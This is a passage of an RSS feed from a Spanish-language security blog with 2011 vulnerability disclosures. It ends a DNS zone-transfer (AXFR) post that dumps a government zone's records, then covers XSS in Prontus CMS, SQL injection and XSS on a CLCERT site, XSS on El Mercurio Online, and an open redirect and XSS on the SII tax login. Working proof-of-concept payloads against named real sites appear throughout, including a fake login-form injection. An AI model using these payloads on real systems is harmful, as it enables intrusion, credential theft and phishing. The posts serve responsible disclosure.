smtp11.mde.es.		600	IN	A	193.33.3.102
www.ume.mde.es.		600	IN	CNAME	web.mde.es.
wap.mde.es.		600	IN	CNAME	mde.es.
web.mde.es.		600	IN	A	193.33.2.129
working.mde.es.		600	IN	CNAME	web.mde.es.
www.mde.es.		600	IN	CNAME	mde.es.
wwwr.mde.es.		600	IN	A	193.33.3.129
mde.es.			3600	IN	SOA	ns01.mde.es. dnsadm.mde.es. 2011071502 180 60 4320000 180
;; Query time: 246 msec
;; SERVER: 193.33.2.100#53(193.33.2.100)
;; XFR size: 66 records (messages 1, bytes 1713)</pre>
<p>En algunos casos nos encontramos con la sorpresa de que existen subdominios que apuntan a direcciones IP locales, por ejemplo &#8220;devel.dominio.com -> 10.0.0.55&#8243; pero sabemos (o creemos saber) que justo ese subdominio comparte alojamiento con sitios que estan en produccion, por ejemplo &#8220;dominio.com -> alguna.ip.publica.xxx&#8221;, basta con que forcemos que localmente nos resuelva &#8220;devel.dominio.com&#8221; a esa IP publica y logramos entrar a una zona supuestamente de acceso local.</p>
<div id="bottomcontainerBox" style="border:1px solid #808080;">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Faxfr-una-vulnerabilidad-que-pasa-desapercibida%2F&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width=85px; height:21px;" allowTransparency="true"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zerial.org/seguridad/axfr-una-vulnerabilidad-que-pasa-desapercibida/"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zerial.org/seguridad/axfr-una-vulnerabilidad-que-pasa-desapercibida/"  data-text="AXFR: Una vulnerabilidad que pasa desapercibida &#8230;" data-count="horizontal" data-via="Zerial">Tweet</a>
			</div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/axfr-una-vulnerabilidad-que-pasa-desapercibida/feed/</wfw:commentRss>
		<slash:comments>16</slash:comments>
		</item>
		<item>
		<title>Vulnerabilidad XSS en Prontus CMS</title>
		<link>http://blog.zerial.org/seguridad/vulnerabilidad-xss-en-prontus-cms/</link>
		<comments>http://blog.zerial.org/seguridad/vulnerabilidad-xss-en-prontus-cms/#comments</comments>
		<pubDate>Mon, 11 Jul 2011 18:48:36 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[Sitios Vulnerables]]></category>
		<category><![CDATA[chile]]></category>
		<category><![CDATA[cms]]></category>
		<category><![CDATA[cross site scriptoing]]></category>
		<category><![CDATA[cross-site scripting]]></category>
		<category><![CDATA[fonasa]]></category>
		<category><![CDATA[prontus]]></category>
		<category><![CDATA[senado]]></category>
		<category><![CDATA[sitios web vulnerables]]></category>
		<category><![CDATA[ucv]]></category>
		<category><![CDATA[vulnerabilidad]]></category>
		<category><![CDATA[vulnerabilidades]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=2410</guid>
		<description><![CDATA[Prontus es un administrador de contenidos web flexible, fácil de usar, robusto y eficiente, con una trayectoria de más de 12 años en el mercado y utilizado por cientos de clientes que lo han aplicado en sus portales corporativos, servicios editoriales y sitios web transaccionales. Este CMS tiene una vulnerabilidad Cross-Site Scripting que afecta a [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://blog.zerial.org/wp-content/uploads/2011/07/FOTO_1620091106181909.gif"><img class="aligncenter size-full wp-image-2411" title="Prontus CMS Logo" src="http://blog.zerial.org/wp-content/uploads/2011/07/FOTO_1620091106181909.gif" alt="" width="200" height="72" /></a></p>
<blockquote><p>Prontus es un administrador de contenidos web flexible, fácil de usar, robusto y eficiente, con una trayectoria de más de 12 años en el mercado y utilizado por cientos de clientes que lo han aplicado en sus portales corporativos, servicios editoriales y sitios web transaccionales.</p></blockquote>
<p>Este CMS tiene una vulnerabilidad Cross-Site Scripting que afecta a la mayoría de sus clientes.<br />
Cuando vas a desarrollar un CMS y esperar que muchos usuarios/clientes lo usen, hay que tener cuidado con la seguridad ya que cualquier fallo (bug) o vulnerabilidad puede afectar a todos los que lo utilizan.</p>
<p>Entre los sitios afectados por esta vulnerabilidad estan el <a href="http://senado.cl">sitio web del Senado de la República de Chile</a>, y <a href="http://www.fonasa.cl">Fonasa</a>, entre otros.</p>
<p>La vulnerabilidad afecta a todos los sitios creados con Prontus CMS que tengan activo/habilitado el archivo html &#8220;antialone.html&#8221;</p>
<p>En este archivo encontramos el siguiente codigo javascript:</p>
<pre id="line1" class="c" name="code">if (makefs) {
    var ULT_LINK = new Array(); // Usado para volver a portada.
    page = page + '?' + Math.random();
    document.write('&lt;frameset rows="122,1*" frameborder="NO" border="0" framespacing="0"&gt;');
    document.write('  &lt;frame name="head" scrolling="NO" noresize src="/prontus_senado/site/edic/base/port/head.html" marginwidth="0" marginheight="0" frameborder="NO"&gt;');
    document.write('  &lt;frame name="cont" src="' + page + '" marginwidth="0" marginheight="0"&gt;');
    document.write('&lt;/frameset&gt;');
  };</pre>
<p>Si se fijan, en la linea 6 crea un frame con <em>src=page</em>, y en la linea 3 <em>page=page+?+Math.random()</em>. Por lo tanto, si le pasamos la variable &#8220;page&#8221; por url con el contenido &#8220;javsript:algo&#8230;&#8221; el navegador lo debería interpretar.</p>
<p><span id="more-2410"></span></p>
<p>El problema es que en la línea 3 le agrega &#8220;?numero aleatorio&#8221;, por lo que si le pasamos el valor &#8220;javascript:alert(1)&#8221; lo que cargara el frame será &#8220;javascript:alert(1)?45454554.0&#8243; lo que provocará un error de sintaxis y el navegador no hará nada.<br />
Como el sistema no filtra ni escapa caracteres, lo que debemos hacer es hacer que todo lo que esté despues de lo que le queremos inyectar, sea un comentario, es decir: //.</p>
<p>No podemos poner directamente la url &#8220;http://www.algo.com&#8221; ya que en otro lado del javscript aparece un tipo de filtro que si encuentra &#8220;://&#8221; nos manda a la raíz del sitio:</p>
<pre id="line1" class="c" name="code"> if (page.indexOf('://') &gt;= 0) {
    if (page.indexOf(window.location.protocol + '//' + document.domain + '/') != 0) {
      makefs = false;
      document.location.pathname = '/';
    };
  };</pre>
<p>Para explotar la vulnerabilidad usaré &#8220;<strong>javascript:alert(/XSS/);//</strong>&#8220;, de esta forma el valor de la variable page será &#8220;<strong>javascript:alert(/XSS/);//?45454554.0</strong>&#8221; dejando lo último como comentario.</p>
<h2>Pruebas de Concepto:</h2>
<p><strong>Sitio web del Senado</strong><br />
<a href="http://blog.zerial.org/wp-content/uploads/2011/07/senador_xss.png"><img class="aligncenter size-full wp-image-2431" title="Senado Republica Chile XSS" src="http://blog.zerial.org/wp-content/uploads/2011/07/senador_xss.png" alt="" width="622" height="376" /></a></p>
<p><strong>Sitio web del Fondo Nacional de Salud (FONASA)</strong><br />
<a href="http://blog.zerial.org/wp-content/uploads/2011/07/fonasa_xss.png"><img class="aligncenter size-full wp-image-2433" title="FONASA XSS" src="http://blog.zerial.org/wp-content/uploads/2011/07/fonasa_xss.png" alt="" width="583" height="337" /></a></p>
<p><strong>Universidad Catolica de Valparaiso</strong><br />
<a href="http://blog.zerial.org/wp-content/uploads/2011/07/ucv_xss.png"><img class="aligncenter size-full wp-image-2434" title="UCV XSS" src="http://blog.zerial.org/wp-content/uploads/2011/07/ucv_xss.png" alt="" width="571" height="330" /></a></p>
<p><strong>Los sitios afectados son:</strong></p>
<p><a href="http://www.mercuriovalpo.cl" target="_new">http://www.mercuriovalpo.cl</a><br />
<a href="http://www.estrellaiquique.cl" target="_new">http://www.estrellaiquique.cl</a><br />
<a href="http://www.australvaldivia.cl" target="_new">http://www.australvaldivia.cl</a><br />
<a href="http://www.ucv.cl" target="_new">http://www.ucv.cl</a><br />
<a href="http://www.estrellavalpo.cl" target="_new">http://www.estrellavalpo.cl</a><br />
<a href="http://www.senador.cl" target="_new">http://www.senador.cl</a><br />
<a href="http://www.diariollanquihue.cl" target="_new">http://www.diariollanquihue.cl</a><br />
<a href="http://www.lidersanantonio.cl" target="_new">http://www.lidersanantonio.cl</a><br />
<a href="http://www.australtemuco.cl" target="_new">http://www.australtemuco.cl</a><br />
<a href="http://www.diariolaestrella.cl" target="_new">http://www.diariolaestrella.cl</a><br />
<a href="http://www.estrellaloa.cl" target="_new">http://www.estrellaloa.cl</a><br />
<a href="http://www.estrellaarica.cl" target="_new">http://www.estrellaarica.cl</a><br />
<a href="http://www.laestrellachiloe.cl" target="_new">http://www.laestrellachiloe.cl</a><br />
<a href="http://www.australlosrios.cl" target="_new">http://www.australlosrios.cl</a><br />
<a href="http://mercuriocalama.cl" target="_new">http://mercuriocalama.cl</a><br />
<a href="http://www.australosorno.cl" target="_new">http://www.australosorno.cl</a><br />
<a href="http://www.diarioatacama.cl" target="_new">http://www.diarioatacama.cl</a><br />
<a href="http://www.diarioaustral.cl" target="_new">http://www.diarioaustral.cl</a><br />
<a href="http://www.renacerdeangol.cl" target="_new">http://www.renacerdeangol.cl</a><br />
<a href="http://www.fonasa.cl" target="_new">http://www.fonasa.cl</a><br />
<a href="http://www.mercurioantofagasta.cl" target="_new">http://www.mercurioantofagasta.cl</a><br />
<a href="http://www.prensatocopilla.cl" target="_new">http://www.prensatocopilla.cl</a><br />
<a href="http://www.ellanquihue.cl" target="_new">http://www.ellanquihue.cl</a><br />
<a href="http://www.elaustral.cl" target="_new">http://www.elaustral.cl</a><br />
<a href="http://www.hernanlarrain.cl" target="_new">http://www.hernanlarrain.cl</a><br />
<a href="http://www.estrellanorte.cl" target="_new">http://www.estrellanorte.cl</a></p>
<p>No se descarta que existan más sitios afectados.</p>
<p><strong>Actualizado (12 de Julio del 2011):</strong><br />
La vulnerabilidad fue reportada y se está solucionando. Se informó que corresponde a una version antigua del sistema y que los clientes o usuarios afectados son quienes no han actualizado la version.</p>
<div id="bottomcontainerBox" style="border:1px solid #808080;">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fvulnerabilidad-xss-en-prontus-cms%2F&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width=85px; height:21px;" allowTransparency="true"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zerial.org/seguridad/vulnerabilidad-xss-en-prontus-cms/"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zerial.org/seguridad/vulnerabilidad-xss-en-prontus-cms/"  data-text="Vulnerabilidad XSS en Prontus CMS" data-count="horizontal" data-via="Zerial">Tweet</a>
			</div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/vulnerabilidad-xss-en-prontus-cms/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Vulnerabilidad SQL Injection + Cross-Site Scripting en sitio web del CLCERT</title>
		<link>http://blog.zerial.org/seguridad/vulnerabilidad-sql-injection-cross-site-scripting-en-sitio-web-del-clcert/</link>
		<comments>http://blog.zerial.org/seguridad/vulnerabilidad-sql-injection-cross-site-scripting-en-sitio-web-del-clcert/#comments</comments>
		<pubDate>Thu, 07 Jul 2011 13:34:05 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[Sitios Vulnerables]]></category>
		<category><![CDATA[chile]]></category>
		<category><![CDATA[clcert]]></category>
		<category><![CDATA[cross-site scripting]]></category>
		<category><![CDATA[inseguridad]]></category>
		<category><![CDATA[sitios vulnerables]]></category>
		<category><![CDATA[sql injection]]></category>
		<category><![CDATA[sql-i]]></category>
		<category><![CDATA[sqli]]></category>
		<category><![CDATA[vulnerabilidades]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=2387</guid>
		<description><![CDATA[Según el propio sitio web: El CLCERT tiene como misión monitorear y analizar los problemas de seguridad de los sistemas computacionales en Chile, y reducir la cantidad de incidentes de seguridad perpetrados desde y hacia éstos. Si bien CLCERT es una &#8220;organización&#8221; que busca mejorar la seguridad, creo que es impresentable que tengan publicados sitios [...]]]></description>
			<content:encoded><![CDATA[<p>Según el propio sitio web:</p>
<blockquote><p>El CLCERT tiene como misión monitorear y analizar los problemas de seguridad de los sistemas computacionales en Chile, y reducir la cantidad de incidentes de seguridad perpetrados desde y hacia éstos.</p></blockquote>
<p>Si bien CLCERT es una &#8220;organización&#8221; que busca mejorar la seguridad, creo que es <strong>impresentable</strong> que tengan publicados sitios web con vulnerabilidades tan <strong>basicas</strong>.<br />
Esta organización da cursos y diplomados relacionados a la &#8220;Seguridad Computacional&#8221; o como la mayoría los conoce &#8220;Cursos de Seguridad Informática&#8221; o simplemente &#8220;Cursos de Seguridad&#8221;. Todas las personas que han pasado por estos cursos se pueden ver en la URL <a href="http://capacita.clcert.cl/dir/">http://capacita.clcert.cl/dir/</a> la cual con tiene una vulnerabilidad de SQL Injection, posibilitando al atacante obtener más información sobre las personas asistentes a los cursos o bien obtener información del servidor.</p>
<p>La vulnerabilidad SQL Injection se produce al no parsear los parametros pasados por GET mediante la variable &#8220;apellido&#8221;, &#8220;id&#8221; y &#8220;fecha&#8221; del archivo index.php. Y la XSS se produce a partir de esta misma.</p>
<p>Si navegan por el sitio y comienzan a ver las URL se darán cuenta de forma fácil que parámetro o url es la vulnerable. Por ejemplo, si nos situamos por encima de una letra, podemos ver la url</p>
<p><img class="aligncenter size-full wp-image-2388" title="url" src="http://blog.zerial.org/wp-content/uploads/2011/07/url.png" alt="" width="259" height="31" /></p>
<p>Deducimos que podemos inyectar código sql mediante la variable &#8220;<em>apellido</em>&#8220;.</p>
<p><span id="more-2387"></span></p>
<p><strong>Proof-of-Concept</strong></p>
<h3>1. SQL Injection</h3>
<p>Lo primero que haremos será inducir la aplicación al típico error de sintáxis añadiendo un caracter &#8221; &#8216; &#8221; al valor de la variable mediante la URL <a href="http://capacita.clcert.cl/dir/?apellido=%27">http://capacita.clcert.cl/dir/?apellido=%27</a> y obtenemos el error esperado con la información deseada:</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/07/sql1.png"><img class="aligncenter size-full wp-image-2390" title="sql1" src="http://blog.zerial.org/wp-content/uploads/2011/07/sql1.png" alt="" width="661" height="61" /></a></p>
<p>Podemos ver la consulta completa incluyendo el nombre de la tabla y los campos, con esto nos facilitamos la inyección de sql.<br />
Teniendo todo esto en consideración, podemos completar la query agregando un UNION con los datos que queramos saber, en esta prueba de concepto obtendremos el usuario actual con el que se está conectando y la version del motor de base de datos, usando las funciones <strong>user()</strong> y <strong>version()</strong> propias del MySQL.</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/07/sql2_url.png"><img class="aligncenter size-full wp-image-2394" title="sql2_url" src="http://blog.zerial.org/wp-content/uploads/2011/07/sql2_url.png" alt="" width="545" height="37" /></a></p>
<p>Obteniendo en los campos correspondientes la información solicitada</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/07/sql2.png"><img class="aligncenter size-full wp-image-2395" title="sql2" src="http://blog.zerial.org/wp-content/uploads/2011/07/sql2.png" alt="" width="587" height="68" /></a></p>
<p>Con este simple sql injection ya tenemos información relevante. Usuario &#8220;diplomado&#8221; y version 4.1.22 del mysql.</p>
<h3>2. Cross-Site Scripting</h3>
<p>Cuando logramos que la aplicación muestre un error de sintaxis, podemos ver que nos muestra literalmente la consulta incluyendo lo que nosotros agregamos, por ejemplo si agregamos &#8220;&#8216; esta es una prueba&#8221; veremos lo siguiente:</p>
<blockquote><p>Query failed: You have an error in your SQL syntax; check the manual  that corresponds to your MySQL server version for the right syntax to  use near &#8216;<strong>esta es una prueba%&#8217;</strong>&#8216; at line 1Executed query: select   apellidos, nombres, fecha , id from users where apellidos like &#8221; esta  es una prueba%&#8217;</p></blockquote>
<p>Por lo tanto, si en lugar de &#8220;esta es una prueba&#8221; ingresamos un codigo javascript, será ejecutado:</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/07/xss1.png"><img src="http://blog.zerial.org/wp-content/uploads/2011/07/xss1.png" alt="" title="xss1" width="681" height="404" class="aligncenter size-full wp-image-2400" /></a></p>
<p>Es increible como las organizaciones que &#8220;luchan&#8221; por la seguridad son inseguras. Errores tan basicos, tan simples &#8230; Uno se pregunta si realmente la gente que entra en sus cursos salen capacitadas y hasta que punto son capaces de encargarse de la seguridad informática de una empresa o institución.</p>
<p>La vulnerabilidad fue reportada el 6 de Julio y solucionada el dia 7 de Julio. </p>
<p><strong>Links</strong></p>
<p><a href="http://www.secureless.org/vulnerability/1808">Reporte XSS en Secureless</a><br />
<a href="http://www.secureless.org/vulnerability/1807">Reporte SQL-Injection en Secureless</a></p>
<div id="bottomcontainerBox" style="border:1px solid #808080;">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fvulnerabilidad-sql-injection-cross-site-scripting-en-sitio-web-del-clcert%2F&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width=85px; height:21px;" allowTransparency="true"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zerial.org/seguridad/vulnerabilidad-sql-injection-cross-site-scripting-en-sitio-web-del-clcert/"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zerial.org/seguridad/vulnerabilidad-sql-injection-cross-site-scripting-en-sitio-web-del-clcert/"  data-text="Vulnerabilidad SQL Injection + Cross-Site Scripting en sitio web del CLCERT" data-count="horizontal" data-via="Zerial">Tweet</a>
			</div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/vulnerabilidad-sql-injection-cross-site-scripting-en-sitio-web-del-clcert/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Cross-Site Scripting en El Mercurio On-Line (EMOL)</title>
		<link>http://blog.zerial.org/seguridad/cross-site-scripting-en-el-mercurio-on-line-emol/</link>
		<comments>http://blog.zerial.org/seguridad/cross-site-scripting-en-el-mercurio-on-line-emol/#comments</comments>
		<pubDate>Mon, 13 Jun 2011 23:19:24 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[Sitios Vulnerables]]></category>
		<category><![CDATA[chile]]></category>
		<category><![CDATA[cross-site scripting]]></category>
		<category><![CDATA[el mercurio]]></category>
		<category><![CDATA[emol]]></category>
		<category><![CDATA[sitios vulnerables]]></category>
		<category><![CDATA[vulnerabilidades]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=2344</guid>
		<description><![CDATA[EMOL es un portal web de noticias que tiene una gran cantidad de visitas a nivel nacional, según dicen es una de las principales plataformas &#8220;noticiosas&#8221; del país. El bug esta en no filtrar los parametros de entrada cuando se muestra el error 404 de una pagina inexistente, por ejemplo: http://www.emol.com/pagina_no_existe Mostrara el mensaje Si [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://blog.zerial.org/wp-content/uploads/2011/06/logo_emol.gif"><img class="aligncenter size-full wp-image-2345" title="logo_emol" src="http://blog.zerial.org/wp-content/uploads/2011/06/logo_emol.gif" alt="" width="259" height="82" /></a><br />
EMOL es un portal web de noticias que tiene una gran cantidad de visitas a nivel nacional, según dicen es una de las principales plataformas &#8220;noticiosas&#8221; del país.</p>
<p>El bug esta en no filtrar los parametros de entrada cuando se muestra el error 404 de una pagina inexistente, por ejemplo: <a href="http://www.emol.com/pagina_no_existe">http://www.emol.com/pagina_no_existe</a></p>
<p>Mostrara el mensaje</p>
<p><img class="aligncenter size-full wp-image-2346" title="pagina_no_existe_emol" src="http://blog.zerial.org/wp-content/uploads/2011/06/pagina_no_existe_emol.png" alt="" width="486" height="86" /></p>
<p>Si cambiamos &#8220;<em>pagina_no_existe</em>&#8221; por &#8220;<em>prueba_de_concepto</em>&#8221;<br />
(<a href="http://www.emol.com/prueba_de_concepto">http://www.emol.com/prueba_de_concepto</a>) mostrará</p>
<p><img class="aligncenter size-full wp-image-2347" title="prueba_de_concepto_emol" src="http://blog.zerial.org/wp-content/uploads/2011/06/prueba_de_concepto_emol.png" alt="" width="511" height="83" /></p>
<p>Asi mismo, si insertamos codigo HTML o JavaScript, este sera ejecutado.</p>
<p><span id="more-2344"></span></p>
<p>La prueba de concepto que he hecho es:<br />
<code><a href="http://www.emol.com/%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%2f%58%53%53%2f%29%3c%2f%73%63%72%69%70%74%3e">http://www.emol.com/%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%2f%58%53%53%2f%29%3c%2f%73%63%72%69%70%74%3e</a></code></p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/06/poc_alert_emol.png"><img src="http://blog.zerial.org/wp-content/uploads/2011/06/poc_alert_emol.png" alt="" title="poc_alert_emol" width="458" height="389" class="aligncenter size-full wp-image-2354" /></a></p>
<p>La única restricción es que tenemos un límite de caracteres, creo que son 35 caracteres que podemos &#8220;inyectar&#8221;,<br />
para explotarla debemos ser muy ingeniosos. Al ingresar mas de 35 caracteres, por ejemplo la URL<br />
<a href="http://www.emol.com/123456789123456789123456789123456789">http://www.emol.com/123456789123456789123456789123456789</a> (36 caracteres) el mensaje mostrado es:</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/06/limite_chars_emol.png"><img class="aligncenter size-full wp-image-2348" title="limite_chars_emol" src="http://blog.zerial.org/wp-content/uploads/2011/06/limite_chars_emol.png" alt="" width="597" height="132" /></a></p>
<p>Entonces el codigo queda truncado. Si pensamos en meter un codigo javascript hay que pensar que tan solo escribiendo &#8220;<strong>&lt;script&gt;&lt;/script&gt;</strong>&#8221; tenemos 17 caracteres, por lo que solo nos quedarán 18 caracteres libres para poder escribir el código. Habría que probar otras técnicas como incluir un JS remoto (con src=) o bien usando el tag &#8220;style&#8221; para ahorrarnos 3 caracteres.</p>
<p>La vulnerabilidad fue reportada el 13 de Junio del 2011 y corregida el mismo día. Excelente tiempo de respuesta. Reportada vía email y en <a href="http://www.secureless.org/vulnerability/1688/">secureless</a>.</p>
<p><strong>EDITADO (30 de Junio)</strong><br />
En <a href="http://blog.zerial.org/seguridad/arbitratry-url-redirection-y-xss-en-sitio-web-del-s-i-i/comment-page-1/#comment-96417">un comentario</a> de un <a href="http://blog.zerial.org/seguridad/arbitratry-url-redirection-y-xss-en-sitio-web-del-s-i-i/">post anterior</a>, <a href="http://dth-security.blogspot.com/">ar4b14n</a> ha reportado otro XSS en el sitio de EMOL. Tambien se ha agregado a <a href="http://www.secureless.org/vulnerability/1794/">secureless</a> y se ha informado para que se solucione.</p>
<div id="bottomcontainerBox" style="border:1px solid #808080;">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fcross-site-scripting-en-el-mercurio-on-line-emol%2F&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width=85px; height:21px;" allowTransparency="true"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zerial.org/seguridad/cross-site-scripting-en-el-mercurio-on-line-emol/"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zerial.org/seguridad/cross-site-scripting-en-el-mercurio-on-line-emol/"  data-text="Cross-Site Scripting en El Mercurio On-Line (EMOL)" data-count="horizontal" data-via="Zerial">Tweet</a>
			</div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/cross-site-scripting-en-el-mercurio-on-line-emol/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Arbitrary URL Redirection y XSS en sitio web del S.I.I</title>
		<link>http://blog.zerial.org/seguridad/arbitratry-url-redirection-y-xss-en-sitio-web-del-s-i-i/</link>
		<comments>http://blog.zerial.org/seguridad/arbitratry-url-redirection-y-xss-en-sitio-web-del-s-i-i/#comments</comments>
		<pubDate>Tue, 10 May 2011 14:46:20 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Interes general]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[Sitios Vulnerables]]></category>
		<category><![CDATA[chile]]></category>
		<category><![CDATA[cross-site scripting]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[inseguridad]]></category>
		<category><![CDATA[servicio impuestos internos]]></category>
		<category><![CDATA[sii]]></category>
		<category><![CDATA[sitios vulnerables]]></category>
		<category><![CDATA[url redirection]]></category>
		<category><![CDATA[vulnerabilidad]]></category>
		<category><![CDATA[vulnerabilidades]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=2261</guid>
		<description><![CDATA[Con esta vulnerabilidad es posible robar información sensible y suplantar la identidad del usuario. Justo en la fecha de la devolución de impuestos aparece esta vulnerabilidad en el login del sistema. Permite redireccionar a un usuario, luego de logearse, a cualquier sitio e incluso permite el robo de cookies mediante ejecución arbitraria de javascript en [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://blog.zerial.org/wp-content/uploads/2011/05/sii_online_peq.jpg"><img class="aligncenter size-full wp-image-2262" title="sii_online_peq" src="http://blog.zerial.org/wp-content/uploads/2011/05/sii_online_peq.jpg" alt="" width="200" height="77" /></a></p>
<p>Con esta vulnerabilidad es posible robar información sensible y suplantar la identidad del usuario.</p>
<p>Justo en la fecha de la devolución de impuestos aparece esta vulnerabilidad en el login del sistema. Permite redireccionar a un usuario, luego de logearse, a cualquier sitio e incluso permite el robo de cookies mediante ejecución arbitraria de javascript en el cliente.</p>
<p>La URL vulnerable es <a href="https://zeus.sii.cl/AUT2000/InicioAutenticacion/IngresoRutClave.html">https://zeus.sii.cl/AUT2000/InicioAutenticacion/IngresoRutClave.html</a> que al agregarle al final &#8220;<strong>?http://alguna_url</strong>&#8220;, el usuario luego de iniciar sesión será redirigido hacia esa URL. Por ejemplo:</p>
<p><a href="https://zeus.sii.cl/AUT2000/InicioAutenticacion/IngresoRutClave.html?https://www.google.com">https://zeus.sii.cl/AUT2000/InicioAutenticacion/IngresoRutClave.html?https://www.google.com</a></p>
<p>Luego de ingresar, seremos redirigidos a Google.</p>
<p>Tambien puede ser un javascript, por ejemplo mostrando las cookies de sesión:</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/05/sii_xss.png"><img class="aligncenter size-full wp-image-2263" title="sii_xss" src="http://blog.zerial.org/wp-content/uploads/2011/05/sii_xss.png" alt="" width="715" height="191" /></a></p>
<p>O por ejemplo, usar javascript para dibujar un formulario que haga POST a un sitio remoto, capturando la información:</p>
<p><a href="https://zeus.sii.cl/AUT2000/InicioAutenticacion/IngresoRutClave.html?javascript:document.write%28%27%3Cform%20method=post%20action=%3Eusuario:%20%3Cinput%20type=text%3E%3Cbr%3Epass:%20%3Cinput%20type=password%3E%3Cbr%3E%3Cinput%20type=submit%20value=entrar%3E%27%29;">https://zeus.sii.cl/AUT2000/InicioAutenticacion/IngresoRutClave.html?javascript:document.write%28%27%3Cform%20method=post%20action=%3Eusuario:%20%3Cinput%20type=text%3E%3Cbr%3Epass:%20%3Cinput%20type=password%3E%3Cbr%3E%3Cinput%20type=submit%20value=entrar%3E%27%29;</a></p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/05/form_sii.png"><img class="aligncenter size-full wp-image-2265" title="form_sii" src="http://blog.zerial.org/wp-content/uploads/2011/05/form_sii.png" alt="" width="433" height="152" /></a></p>
<p>Abusando de la confianza que tiene el usuario sobre el sitio, con certificado SSL válido. De esta forma es posible obtener información confidencial de los usuarios, de forma transparente.</p>
<p>Nuevamente los sistemas informáticos dejan mucho que desear. Esta vulnerabilidad fue reportada la semana pasada mediante el formulario de contacto (el único medio disponible) pero no se obtuvo respuesta.</p>
<div id="bottomcontainerBox" style="border:1px solid #808080;">
